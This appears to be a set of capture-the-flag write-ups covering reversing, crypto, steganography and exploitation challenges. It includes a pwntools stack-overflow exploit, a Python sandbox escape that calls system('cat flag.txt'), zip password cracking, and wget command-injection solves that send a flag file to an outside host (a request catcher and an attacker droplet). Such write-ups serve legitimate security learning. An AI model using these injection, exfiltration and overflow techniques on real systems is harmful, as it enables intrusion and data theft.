    b = (password[(int)(uint)(byte)permutation[index]] ^ permutation[index]) + 0x2d;
    b = ~((b * '\x02' | b >> 7) + 0x6b ^ 0xf) + 0x4f;
    b = ~((~(((b >> 4 | b * '\x10') + 0x23 ^ 2) + 0x77) ^ 0x4c) - 0x36);
    if ((byte)((b * '\x02' | b >> 7) + 0x50) != expected[index]) {
      die(2);
    }
    index = index + 1;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Let’s write a Python script to reverse the arithmetic and come up with the expected string. For problems like this, using the fixedint library is pretty helpful, as it prevents you having to work around Python’s arbitrarily-long integers to emulate integer wraparound, etc. with a bunch of & 0xffs. Our script looks like:

from fixedint import UInt8

PW_LENGTH = 9

expected = [0x2e, 0x6e, 0xe0, 0x6d, 0x61, 0xf1, 0x3b, 0x6e, 0x21]
permutation = [8, 0, 5, 6, 2, 7, 4, 3, 1]

pw = [''] * PW_LENGTH
for i in range(PW_LENGTH):
    # if ((byte)((b * '\x02' | b >> 7) + 0x50) != expected[index]) {
    b = UInt8(expected[i])
    b -= 0x50
    b = (b << 7) | (b >> 1)

    # b = ~((~(((b >> 4 | b * '\x10') + 0x23 ^ 2) + 0x77) ^ 0x4c) - 0x36);
    b = ~b
    b += 0x36
    b ^= 0x4c
    b = ~b
    b -= 0x77
    b ^= 2
    b -= 0x23
    b = (b << 4) | (b >> 4)

    # b = ~((b * '\x02' | b >> 7) + 0x6b ^ 0xf) + 0x4f;
    b -= 0x4f
    b = ~b
    b ^= 0xf
    b -= 0x6b
    b = (b << 7) | (b >> 1)

    # b = (param_1[(int)(uint)(byte)permutation[index]] ^ permutation[index]) + 0x2d;
    b -= 0x2d
    b ^= permutation[i]
    pw[permutation[i]] = chr(b)

print("".join(pw))

Using either approach, we get the password m00nl1ght.

Once we have the password, entering it into the prompt will decrypt the payload in the PNG drop a new file inside the \x7fELF folder called d00rs_0f_dur1n.pdf. This is another polyglot file.

When viewed as a PDF, this file contains an image with a hint that maybe you can treat this as a zip file. Using unzip, we see that this is a password-protected zip file. It also helpfully shows 125429 extra bytes at the beginning of the zipfile. fcrackzip will find the password, but needs us to trim the extra bytes first. dd if=d00rz_0f_dur1n.pdf of=d00rz_0f_dur1n.zip bs=1 skip=125429 and fcrackzip -u -D -p /usr/share/dict/words ./d00rz_0f_dur1n.zip finds the password Mellon.

Once unzipped, the flag is inside flag.jpg.

The source code for this challenge is now available.

Greatest Common Flag Hardened

Oh no! The vulnerability from the previous one was fixed! I guess you’ll just have to solve it bit by bit…

nc stephencurry.ctfchallenge.ga 5000

In solving this, I made a local version of the script for testing, this should demonstrate roughly what the service is doing:

import math
from Crypto.Random import random

print("Welcome to Not GCD Guesser")
print("If you guess my number N, I will give you the flag!")

MAX = random.getrandbits(256)
n = random.randrange(0, MAX)

print("HINT: My number is less than", n)


while True:
    print("1) Get information (131 tries left)")
    print("2) Guess number")
    choice = int(input("Enter choice: "))

    if choice == 1:
        a = int(input("Enter a positive integer A: "))
        b = int(input("Enter a positive integer B: "))

        if a <= 0 or b <= 0:
            print("Invalid input. Exiting...")
            break

        print("GCD(A+N,B) = ", math.gcd(a + n, b))
    elif choice == 2:
        guess = input("What is my number? ")
        if int(guess) == n:
            print("win")
        else:
            print(f"WRONG, you guessed {guess} actual was {n}")
            print("Invalid input. Exiting...")
            break
    else:
        break

Here, the trick from round 7’s Greatest Common Flag clearly won’t work. Let’s try to figure out how to get the solution one bit at a time.

Starting from zero, we know that GCD(A + N, 2) will either be 1 or 2 depending on the parity of A + N. Setting A = 1, GCD(A + N, 2) will be 2 if the lowest bit is a 1, else it will be 0. Using this to determine the lowest bit of the solution, we can then compute a new A so that GCD(A + N, 4) will give us the next bit, and so on.

Let’s call the intermediate value m our i accumulated bits at a step of the computation. Specifically, setting A = 2^i - m means A + N = 2^i + N - m = (N & ~((1 << i) - 1) + (1 << (i + 1)) (in other words, masking off the bottom i bits of N and adding (1 << i)), and with B=2^(i + 1) the GCD will either be 2^(i + 1) if the ith bit of N is 1, otherwise it is 0.

Proceding this way, we can find all the bits of N. We can write a script to automate this:

import math

import sympy
from pwn import *

p = remote("stephencurry.ctfchallenge.ga", 5000)

def get_info(a, b):
    p.recvuntil(b"Enter choice: ")
    p.sendline(b"1")
    p.recvuntil(b"Enter a positive integer A: ")
    p.sendline(str(a))
    p.recvuntil(b"Enter a positive integer B: ")
    p.sendline(str(b))
    p.recvuntil(b"GCD(A+N,B) = ")
    return int(p.recvlineS())

def guess(n):
    p.recvuntil(b"Enter choice: ")
    p.sendline(b"2")
    p.recvuntil(b"What is my number? ")
    p.sendline(str(n))
    while True:
        print(p.recvline())


p.recvuntil(b"HINT: My number is less than ")
upper_bound = int(p.recvlineS())

n = 0
for i in range(0, upper_bound.bit_length()):
    a = (1 << i) - n
    b = (1 << (i + 1))
    gcd = get_info(a, b)
    if gcd == b:
        n += (1 << i)

    print(gcd, n)

guess(n)

Doing so gets us our flag:

Textbook RSA 1: Many Mods Run Amok

I’ve heard that RSA can be broken if you reuse the same modulus. Just to be safe, I’m using a gazillion moduli! Now nothing can force open my encryption!

https://fdownl.ga/60D2FE1E1F

https://fdownl.ga/E9B7F950D3

Examining the script, we see that for every character in the flag, it is generating two new 1024-bit primes, and performing RSA encryption on the single character with them. We are given the product of the two primes (N) along with the result of the encryption (C) for each character in the output folder.

As we know each ciphertext corresponds to one flag character, we can iterate over all printable characters for each ciphertext and find the one that matches the expected result.

import string

e = 65537

with open("output.txt") as f:
    output = [
        tuple(int(x) for x in s.split(", ")) for s in f.read()[2:-5].split("), (")
    ]

flag = ""
for n, c in output:
    for char in string.printable:
        if pow(ord(char), e, n) == c:
            flag += char

print(flag)

We get:

D&D&ROP

In my D&D game, the Dungeon Master’s been getting frustrated that we keep easily destroying his combat encounters, so he sent us this. It seems completely unbeatable! Maybe there’s a way to cheat?

(Big thanks to puzzler7 for this challenge :D)

https://fdownl.ga/9288E28AD3 > https://fdownl.ga/99910C8362

nc oreos.ctfchallenge.ga 30000

We are given the source code to this service, reproduced below (with some irrelvant bits removed):

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

int hp = 100;
int monsterhp = 100;
int turn = 0;
char name[50];
char flag[50];

void getname() {
	char n[50];
	printf("What is your name, adventurer? ");
	gets(n);
	n[50] = 0;
	strncpy(name, n, 50);
	printf("Well met, %s of Bof!\n", n);
	printf("You are the last hope for taking down the feared Roger of Palormin.\n");
	printf("He has learned the terrific 'flag spell', and is destroying the land with it.\n");
	printf("Are you ready to take him down? (y/n) ");
	gets(n);
	if (n[0]=='n') exit(0);
}

void check() {
	if (hp <= 0) {
		printf("You have died a valiant death.\n\n");
		printf("Unfortunately, your sacrifice was in vain.\n");
		printf("With no one to keep him in check, the tyranny of Roger of Palormin spread.\n");
		printf("ROP systematically destroys everything you care for, starting with your hometown of Bof.\n");
		printf("\nThe world spirals into despair.\n");
		exit(1);
	}
	if (monsterhp <= 0) {
		printf("You have slain the feared ROP!\n");
		printf("With his dying breath, ROP attempts to cast one final spell:\n");
		printf("'%s!' He roars, but the flag spell seems to have no effect any longer.\n",flag);
		printf("You return home a celebrated hero.\n");
		exit(0);
	}
}

int main() {
	setbuf(stdout, NULL);
	setbuf(stdin, NULL);
	time_t t;
	srand((unsigned) time(&t));
	FILE* f = fopen("flag.txt", "r");
	fscanf(f, "%s", flag);
	fclose(f);
	getname();
	while (1) {
		printStatus();
		playerAction();
		check();
		monsterAction();
		check();
		turn++;
	}
}

The gets call in getname is a pretty trivial stack buffer overflow. Conveniently, there is code in the binary to print the flag (stored in a global) and then cleanly exit, we just need to overwrite the instruction pointer to jump to the middle of the check function, after the actual monster HP check.

Quick pwntools script to achieve this:

from pwn import *

p = remote("oreos.ctfchallenge.ga", 30000)

p.recvuntil(b"What is your name, adventurer? ")
p.sendline(b"A" * 0x48  + p64(0x00401652))
p.sendline(b"y")
print(p.recvall(timeout=1))

We get:

Restricted access

Little Timmy is stuck again. Not down a well this time, but in a pyjail.

For your convenience, the flag is located in flag.txt in the same directory.

(Big thanks to Robin Jadoul for this challenge :D)

nc oreos.ctfchallenge.ga 3000

The source was (eventually) released with this challenge, reproduced below:

#!/usr/bin/env python3
import traceback, os, sys, string

del sys.modules["os"]

def run():
    g = {"__builtins__": {}}
    for b in ["abs", "all", "any", "chr", "dict", "dir", "divmod", "enumerate", "eval", "filter", "float", "format", "frozenset", "getattr", "hasattr", "hash", "int", "iter", "len", "list", "map", "max", "min", "ord", "pow", "range", "round", "str", "sum", "tuple", "zip"]:
        g["__builtins__"][b] = getattr(__builtins__, b)
    while True:
        try:
            x = input(">>> ")
        except EOFError:
            break
        seen = set()
        r = ""
        for c in x:
            if c in seen: continue
            if c not in string.printable: continue
            r += c
            seen.add(c)
        try:
            exec(r, g)
        except:
            print(traceback.format_exc())
    print("Quitting")

if __name__ == "__main__":
    run()

We see that we are given access to a few useful functions, but we are limited to printable ASCII characters, and only one of each in our input! However, as the globals dict isn’t reset in between execs, we can set variables. And, as we get as many execs as we want, we can use this to build up a payload. Easy stuff like access to __import__("os") isn’t available, so we will use the trick of searching for os._wrap_close to allow us to call system and win.

First we need to construct our payload. The general approach we will take, is for each character in our goal string, we will emit four inputs to the service:

g = 0x4
g *= 16
g |= 0x2
_ += chr(g)

This is the code generated to add ASCII 0x42 (“B”) to our payload string. Once our string is constructed, we can use eval to run it.

The first step is to do some recon to find os._wrap_close, our payload for this will be [str(x) for x in ().__class__.__base__.__subclasses__()]. We will save this value off to a variable, then iterate over it to find the correct index. We can use int("some string") to get output in the form of a ValueError when parsing an invalid integer string.

Once we have located os._wrap_close, our next step will be to construct and run the payload ().__class__.__base__.__subclasses__()[{OS_WRAP_CLOSE_INDEX}].__init__.__globals__["system"]("cat flag.txt"), where OS_WRAP_CLOSE_INDEX is the value computed from the recon step.

All together, our script looks like:

from pwn import *

p = remote("oreos.ctfchallenge.ga", 3000)


def send_cmd(cmd):
    global p
    print(p.recvuntil(b">>> ").decode(), cmd)
    p.sendline(cmd.encode())


def build_string(p):
    send_cmd("_ = str()")

    for c in p:
        n1, n2 = hex(ord(c))[2:]
        if n1 != "0":
            send_cmd(f"g = 0x{n1}")
            send_cmd("g *= 16")
        if n2 != "0":
            send_cmd(f"g |= 0x{n2}")

        send_cmd("_ += chr(g)")


def do_recon():
    RECON = "[str(x) for x in ().__class__.__base__.__subclasses__()]"

    build_string(RECON)
    send_cmd("h = eval(_)")
    send_cmd("m = 0")
    for i in range(200):
        print(i)
        send_cmd("int(h[m])")
        send_cmd("m += 1")


def do_flag():
    # Found from above
    OS_WRAP_CLOSE_INDEX = 127
    PAYLOAD = (
        f'().__class__.__base__.__subclasses__()[{OS_WRAP_CLOSE_INDEX}].__init__.__globals__["system"]("cat'
        ' flag.txt")'
    )

    build_string(PAYLOAD)
    send_cmd("h = eval(_)")
    print(p.recvall(timeout=1))


if __name__ == "__main__":
    do_flag()

We get:

Almost Encryption Standard

I feel like I’m forgetting a few things. It’s probably not important, just ship it!

https://imaginary.ml/r/25537536 > nc oreos.ctfchallenge.ga 8080

I almost definitely did not solve this one the intended way, so will be interested to read other writeups. We are given the code for the service, which sends us an encrypted flag sent with almost-but-not-quite AES in CBC mode. We notice that the S-box and mix columns steps in AES are not present.

Given our flag’s ciphertext and IV, the first thing we do is undo the CBC step through xor. After this, decided to experiment a bit with a few values to see if I could determine anything about the ciphertext. Tried encrypting a string of null bytes the same length as the flag, undoing CBC again, and xoring with a block from the flag. We immediately see half of the flag fall out, namely for each 16-byte block we get the block[:4] and block[8:12].

Playing around with shifting our “key”, we again see a pattern where xor(key, outof(shiftrows(shiftrows(into(key))))) has an identifiable pattern after two shifts. For our unsolved bytes, we see the byte pattern ABAB emerge here. xoring our flag blocks with this key instead, let’s try all values of A and B and see if we can get something sensible xoring with our unsolved bytes. We know enough of the plaintext to make some educated guesses here.

Proceding this way, we soon get the flag.

import string
from pwn import *

p = remote("oreos.ctfchallenge.ga", 8080)

into = lambda b: list(map(list, zip(*[iter(b)] * 4)))
outof = lambda m: bytes(sum(m, []))
addkey = lambda k, s: [[x ^ y for x, y in zip(a, b)] for a, b in zip(k, s)]
shiftrows = lambda s: [x[i:] + x[:i] for i, x in enumerate(s)]
blocks = lambda x: list(map(bytes, zip(*[iter(x)] * 16)))
xor = lambda a, b: bytes([x ^ y for x, y in zip(a, b)])

p.recvline()
flag = bytes.fromhex(p.recvlineS().strip())

# Undo CBC
iv = flag[:16]
block1 = xor(iv, flag[16:32])
block2 = xor(flag[16:32], flag[32:48])
block3 = xor(flag[32:48], flag[48:])

# Encrypt a string of null bytes the same length as our flag (minus IV)
p.sendline("00" * (len(flag) - 16))
ct = bytes.fromhex(p.recvlineS().strip())

# Experimentally noticed a few things:
# 1. shiftrows doesn't change the first or third rows
#    - This lets us get half of the flag by simple xor, deriving the key from
#      the encrypted null bytes above.
# 2. shiftrows is cyclic with a period of 4 iterations
# 3. shifting the key twice and xoring with the original value, the unknown
#    bytes form a pattern ABAB
key1 = xor(ct[:16], ct[16:32])
x = into(key1)
x = shiftrows(x)
x = shiftrows(x)
key2 = outof(x)

pt1 = xor(block1, key2)
pt2 = xor(block2, key2)
pt3 = xor(block3, key2)

pt = pt1 + pt2 + pt3

ALPHABET = string.ascii_lowercase + string.digits + string.punctuation


def fixup_pt(pt, offset, prefix=None, suffix=None):
    candidates = []
    to_fix = pt[offset : offset + 4]
    for i in range(0x10000):
        a = i & 0xFF
        b = (i >> 8) & 0xFF
        test = xor(to_fix, bytes([a, b, a, b]))

        all_valid = all(chr(c) in ALPHABET for c in test)
        has_prefix = True if prefix is None else test.startswith(prefix)
        has_suffix = True if suffix is None else test.endswith(suffix)

        if all_valid and has_prefix and has_suffix:
            s = pt[:offset] + test + pt[offset + 4 :]
            candidates.append(s)

    if len(candidates) > 1:
        for i, candidate in enumerate(candidates):
            print(i + 1, candidate)

        choice = int(input("Choose correct plaintext: ")) - 1
        return candidates[choice]

    return candidates[0]


# We know enough of the plaintext here to make some educated guesses
# b"ictf{th4t's_affine_c1ph3r_you_g0t_there}\n\x07\x07\x07\x07\x07\x07\x07"
pt = fixup_pt(pt, 4, prefix=b"{", suffix=b"h4")
pt = fixup_pt(pt, 12, suffix=b"fi")
pt = fixup_pt(pt, 20, prefix=b"1ph3")
pt = fixup_pt(pt, 28, prefix=b"u_",)
pt = fixup_pt(pt, 36, prefix=b"er", suffix=b"}",)

print(pt[:pt.index(b"\n")])

We get:

This solution is admittedly guessy, and I don’t doubt that there is a less-guessy way to proceed here (but fast is good)!

kEyS tO tHe SeA

Last night board ran into a crisis about having no tiebreaker challenges. So this was the only one we had. Enjoy, I hope I don’t see all the maxed people solve in the first 5 minutes.

nc imaginary.ml 10037

The service here allows us to either encrypt the flag with a prefix, or to encrypt an arbitrary string, in AES ECB mode. We can use a chosen plaintext attack here to extract the flag a character at a time, by adding a prefix to the flag to construct blocks consisting of one unknown character and 15 characters we have already derived (or know due to the padding scheme).

The first goal is to prepend prefixes to the flag until we see the length increase to the next block, at that point we know the starting length of our prefix. Then we will, a character at a time, continue to add bytes to the prefix and solve for the next character by requesting encrypted blocks from the service and comparing them to the ones returned from the prefixed flag.

This post has a good explanation of the process for more information.

Our final script looks like

import string
from pwn import *
from pwnlib.util import safeeval

p = remote("imaginary.ml", 10037)


def encrypt_flag(prefix):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"Text to put before the flag before I encrypt: ")
    p.sendline(prefix)
    return safeeval.const(p.recvline())


def encrypt_text(text):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Ciphertext: ")
    p.sendline(text)
    return safeeval.const(p.recvline())


# Determined by trying a few different prefixes and seeing what length extended
# the ciphertext to the next block
START = 7
BLOCKS = 14
ALPHABET = "_{}!" + string.ascii_lowercase + string.digits

flag = ""
for block in range(BLOCKS):
    for i in range(START, START + 16):
        found = False
        start = -16 * (block + 1)

        a = encrypt_flag("a" * i)[start:]
        for c in ALPHABET:
            b = encrypt_text(c + flag)
            if a == b:
                flag = c + flag
                found = True
                print(len(flag), i, flag)
                break

We get:

Long flag is long

Insanity Check

Here’s a tiebreaker for you… hints at 12324. Flag is in our Discord server. (there is definitely no zero width space steganography in this sentence)

The last part of the flag is nts_1n_the_description}, in case it got corrupted.

Checking the description for zero-width space stenography, we get the clue ok another hint is: "writeup"

Googling for “insanity check writeup”, we see this writeup for rbgCTF-2020.

Let’s download the icon for the iCTF discord:

Insanity Check Challenge Input
Insanity Check Challenge Input

Running zsteg on this image gives us:

...
b1,rgb,lsb,xy       .. text: "ictf{pls_d0nt_s4y_th1s_1s_gu3ssy_w3_put_enough_h1"
...

Combining with the last portion from the description, we get:

AppleBot 3.0

We outsourced AppleBot to a third party. It’s back on Discord, better than ever!

@AppleBot#5877

Checking the bot’s ^help command, we are given the following options:

No Category:
  Applebot Tells you how many Apples @AppleBot has
  about
  balance  Gets your balance.
  buy      Buys stuff.
  clear    Clears all your Apples
  help     Shows this message
  shop     Displays the shop.
  transfer Transfers apples to someone else.
  work     Gives you apples.

Type ^help command for more info on a command.
You can also type ^help category for more info on a category.

Checking ^about, we see “Proudly created by 1337haxor. Proudly hosted on repl.it (https://replit.com/), with uptime robot pinging to keep alive. If anyone wants to donate hacker plan to me that would be greatly appreciated.”

Armed with this information, we can go to @1337haxor’s replit, and we see a public repl for Applebot.

We see the following code for the bot:

import os
from keep_alive import keep_alive
from discord.ext import commands
import discord
import random

exec(open("database.py", "r").read())
shopDict = {'flag': 100000000000000000000, 'apple': 100, 'apple palace': 1000000000000000000000000000}

bot = commands.Bot(
	command_prefix="^",  # Change to desired prefix
	case_insensitive=True  # Commands aren't case-sensitive
)


@bot.event
async def on_ready():  # When the bot is ready
    await bot.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=(str(len(bot.guilds)) + " servers | ^help")))
    print("I'm in")
    print(bot.user)

@bot.command()
async def work(ctx):
  '''Gives you apples.'''
  add = random.randint(5, 10)
  await ctx.message.channel.send(f"You earned **{str(add)}** apples!")
  try:
    database[str(ctx.message.author)] += add
  except:
    database[str(ctx.message.author)] = add
  open("database.py", "w").write("database = " + str(database))

@bot.command()
async def balance(ctx):
  '''Gets your balance.'''
  balance = database[str(ctx.message.author)]
  await ctx.message.channel.send(f"You have **{str(balance)}** apples.")

@bot.command()
async def shop(ctx):
  '''Displays the shop.'''
  balance = database[str(ctx.message.author)]
  await ctx.message.channel.send("```100000000000000000000000 Apples: flag\n1000000000000000000000000000 Apples: Apple Palace\n100 Apples: Apple```")

@bot.command()
async def buy(ctx, *, item):
  '''Buys stuff.'''
  balance = database[str(ctx.message.author)]
  if shopDict[str(item).lower()] < balance:
    await ctx.message.channel.send(f"You bought the **{str(item)}** for **{str(shopDict[item.lower()])}** apples.")
    database[str(ctx.message.author)] -= shopDict[item]
    if item.lower() == "flag":
      await ctx.message.author.send("```ictf{replit_1s_4_terr1ble_pl4ce_t0_h0st_cl0sed_s0urce_pr0jects_4d82e4bc95723}```")
    if item.lower() == "apple palace":
      await ctx.send("OK you bought an apple palace. \n\n\n\n\n\n\n\n\n\n\n\n\nOH NO IT BURNED DOWN!!!!!!\n\n\n\n\nYour insurance paid you **1** apple!")
      database[str(ctx.message.author)] += 1
    if item.lower() == "apple":
      database[str(ctx.message.author)] += 1
  else:
    await ctx.message.channel.send("Not enough Apples.")

@bot.command()
async def about(ctx):
    await ctx.send("Proudly created by 1337haxor. Proudly hosted on repl.it (https://replit.com/), with uptime robot pinging to keep alive. If anyone wants to donate hacker plan to me that would be greatly appreciated.")


@bot.command()
async def transfer(ctx, person: discord.Member, amount: int):
  '''Transfers apples to someone else.'''
  if amount <= 0:
    await ctx.send("You can't do that! Stop trying to hack me!")
    return
  try:
    balance = database[str(ctx.message.author)]
    if amount < balance and amount > 0:
      database[str(ctx.message.author)] -= amount
      database[str(person)] += amount
      await ctx.message.channel.send(f"You sent **{str(amount)}** apples to **{str(person)}**")
      open("database.py", "w").write("database = " + str(database))
    else:
      await ctx.message.channel.send("Not enough Apples.")
  except:
    if amount > 0:
      database[str(ctx.message.author)] -= amount
      database[str(person)] = amount



@bot.command()
async def Applebot(ctx):
  '''Tells you how many Apples @AppleBot has'''
  balance = database[str("AppleBot#5877")]
  await ctx.message.channel.send(f"I am proud to say that I have **{str(balance)}** apples!")


@bot.command()
async def clear(ctx):
  '''Clears all your Apples'''
  database[str(ctx.message.author)] = 0
  await ctx.message.channel.send(f"You have succesfully cleared all your Apples. You now have **0** Apples.")

keep_alive()  # Starts a webserver to be pinged.
bot.run(os.getenv("TOKEN"))  # Starts the bot

The flag is in the clear in the source for the buy function.

Extra Challenges

The extra challenges this month were opened up to everybody, however in preparation for the release of the new bot, these were somewhat sporadic and were reset a few times. Here are writeups for the challenges which were more than simple test flags:

seventy-one ciphers

Timmy was walking up the stairs, but halfway through, he couldn’t feel any safety rails! Could you help him get back on track?

n}iig$c1_ltdt1fnha{13rf_

Plug into CyberChef using “Rail Fence Cipher Decode” with key 7 and offset 1.

Leaked files

My friend took a screenshot of his Kali VM. But I think he’s hiding something from me… can you help me find what it is?

Leaked Files Challenge Input
Leaked Files Challenge Input

We can use StegSolve to examine blue plane 0, we see the following:

Leaked Files Challenge Output
Leaked Files Challenge Output

BabyHeap

A heap challenge that doesn’t involve any messy bits. Can you find a use-after-free vulnerability to become an admin and get the flag?

nc stephencurry.ctfchallenge.ga 5000

https://fdownl.ga/78DE17658E

As the challenge states, we need to exploit a use after free bug to read the flag. Examining the binary, we see that the goal is to become the admin user. We notice that we can create a user called admin, but can’t login as admin. We also notice that if we are logged in as a user and then delete it, the pointer to the logged in user isn’t cleared (this is the use after free). The idea is clearly to create a user admin in the freed memory from a deleted user, and take advantage of the stale login pointer to become admin without needing to login.

Our exploit proceeds as follows:

  1. Create user foo
  2. Login as user foo
  3. Delete user foo
  4. Create user admin (will be created using the memory just released by freeing foo)
  5. Get flag, as currentUser points to a user called admin this will succeed

We get:

WGET 2

Who needs descriptions?

Who needs sources?

PS: Flag is in the same directory and in a file named “flag” (no extension)

https://wget2.et3rnos.repl.co/

This proceeds the same as the original WGET challenge, except . has been blacklisted. Let’s use URL encoding to defeat this blacklist.

Navigating to https://wget2.et3rnos.repl.co/?wget=--post-file=flag%20ictf%252erequestcatcher%252ecom, we again see a POST request with the flag:

(Flag clearly hints at the intended solution, but this was unnecessary.)

WGET Hardened

A hardened version of WGET.

Thanks to Robin_Jadoul for making the blacklist more insane.

https://wget3.et3rnos.repl.co/

(You could have guessed this link lol)

The first step here is figuring out the blacklist, trying a few manual items revealed some odd characters blacklisted, so decided to script over printable ASCII characters to figure this out. Hopefully this isn’t against the spirit of “no enumeration tools”, figured it was <100 requests and I would send more messing around manually.

Notable entries in the blacklist were $%*.;`aglx|. This includes %, which prevents the double-url-encoding trick we used before, along with . and most of the characters in flag.txt, which is our goal.

Taking a hint from WGET 2, let’s spin up a droplet and use a decimal IP to avoid the . in the blacklist. We wont be able to post a file using --post-file, as l is blacklisted, so we need to come up with a new way of revealing the contents of flag.txt. Lets specify our decimal IP as the base address, and pass in flag.txt as input to wget using -i to interpret its contents as a relative URL. We need to find a way to refer to flag.txt despite lagx* being blacklisted. As we know our input is being passed to system() or similar, and ? is not blacklisted, we can use f??????? with ? being a single-character shell wildcard.

Our final URL is https://wget3.et3rnos.repl.co/?wget=-B%20http%3A%2F%2F2412133186%20-i%20f%3F%3F%3F%3F%3F%3F%3F.

We soon see a request on our droplet for:

INFO:root:GET request,
Path: /ictf%7Bwg37_h4rd3n3d_pl4c3h0ld3r5_g0_brrrr%7D
Headers:
User-Agent: Wget/1.19.4 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 2412133186
Connection: Keep-Alive



34.66.28.57 - - [16/Mar/2021 01:02:28] "GET /ictf%7Bwg37_h4rd3n3d_pl4c3h0ld3r5_g0_brrrr%7D HTTP/1.1" 200 -

URL-decoding this value, we get:

Reversing for the win

Wait, this looks like crypto to me! Why is this a reversing chall?

9BzNwlncj9lb0gGdfJ3MsBDMj91MyRzXzFTM0g2YfdmbxMnczYXZytnZ0NWa

Reverse the string and then base64-decode it.

Reversing For The Win 2

Another crypto challenge… oh, wait, it’s a reversing one!

554889e54883ec1048897df8488b45f80fb6003c690f85e8000000488b45f84883c0010fb6003
c630f85d5000000488b45f84883c0020fb6003c740f85c2000000488b45f84883c0030fb6003c
660f85af000000488b45f84883c0040fb6003c7b0f859c000000488b45f84883c0050fb6003c6
90f8589000000488b45f84883c0060fb6003c73757a488b45f84883c0070fb6003c5f756b488b
45f84883c0080fb6003c67755c488b45f84883c0090fb6003c72754d488b45f84883c00a0fb60
03c65753e488b45f84883c00b0fb6003c61752f488b45f84883c00c0fb6003c747520488b45f8
4883c00d0fb6003c7d7511488d3dce0d0000b800000000e8e1fdffff90c9

The first four bytes of this might look familiar to you, this is push rbp; mov rbp, rsp; in x86_64 assembly. We can disassemble this with rasm2 -a x86 -b 64 -d $INPUT, where INPUT is set to the challenge input.

We get:

push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp - 8], rdi
mov rax, qword [rbp - 8]
movzx eax, byte [rax]
cmp al, 0x69
jne 0x103
mov rax, qword [rbp - 8]
add rax, 1
movzx eax, byte [rax]
cmp al, 0x63
jne 0x103
mov rax, qword [rbp - 8]
add rax, 2
movzx eax, byte [rax]
cmp al, 0x74
jne 0x103
mov rax, qword [rbp - 8]
add rax, 3
movzx eax, byte [rax]
cmp al, 0x66
jne 0x103
mov rax, qword [rbp - 8]
add rax, 4
movzx eax, byte [rax]
cmp al, 0x7b
jne 0x103
mov rax, qword [rbp - 8]
add rax, 5
movzx eax, byte [rax]
cmp al, 0x69
jne 0x103
mov rax, qword [rbp - 8]
add rax, 6
movzx eax, byte [rax]
cmp al, 0x73
jne 0x103
mov rax, qword [rbp - 8]
add rax, 7
movzx eax, byte [rax]
cmp al, 0x5f
jne 0x103
mov rax, qword [rbp - 8]
add rax, 8
movzx eax, byte [rax]
cmp al, 0x67
jne 0x103
mov rax, qword [rbp - 8]
add rax, 9
movzx eax, byte [rax]
cmp al, 0x72
jne 0x103
mov rax, qword [rbp - 8]
add rax, 0xa
movzx eax, byte [rax]
cmp al, 0x65
jne 0x103
mov rax, qword [rbp - 8]
add rax, 0xb
movzx eax, byte [rax]
cmp al, 0x61
jne 0x103
mov rax, qword [rbp - 8]
add rax, 0xc
movzx eax, byte [rax]
cmp al, 0x74
jne 0x103
mov rax, qword [rbp - 8]
add rax, 0xd
movzx eax, byte [rax]
cmp al, 0x7d
jne 0x103
lea rdi, qword [rip + 0xdce]
mov eax, 0
call 0xfffffffffffffee4
nop
leave

Looking at the cmp al, IMM instructions, we see that this code is comparing bytes of input against constants which look like ascii values. Assembling these together, we get:

Note: all exercise materials are the property of their respective authors, reproduced here for educational purposes.

Solutions and related code are covered by the license noted in the Terms of Use.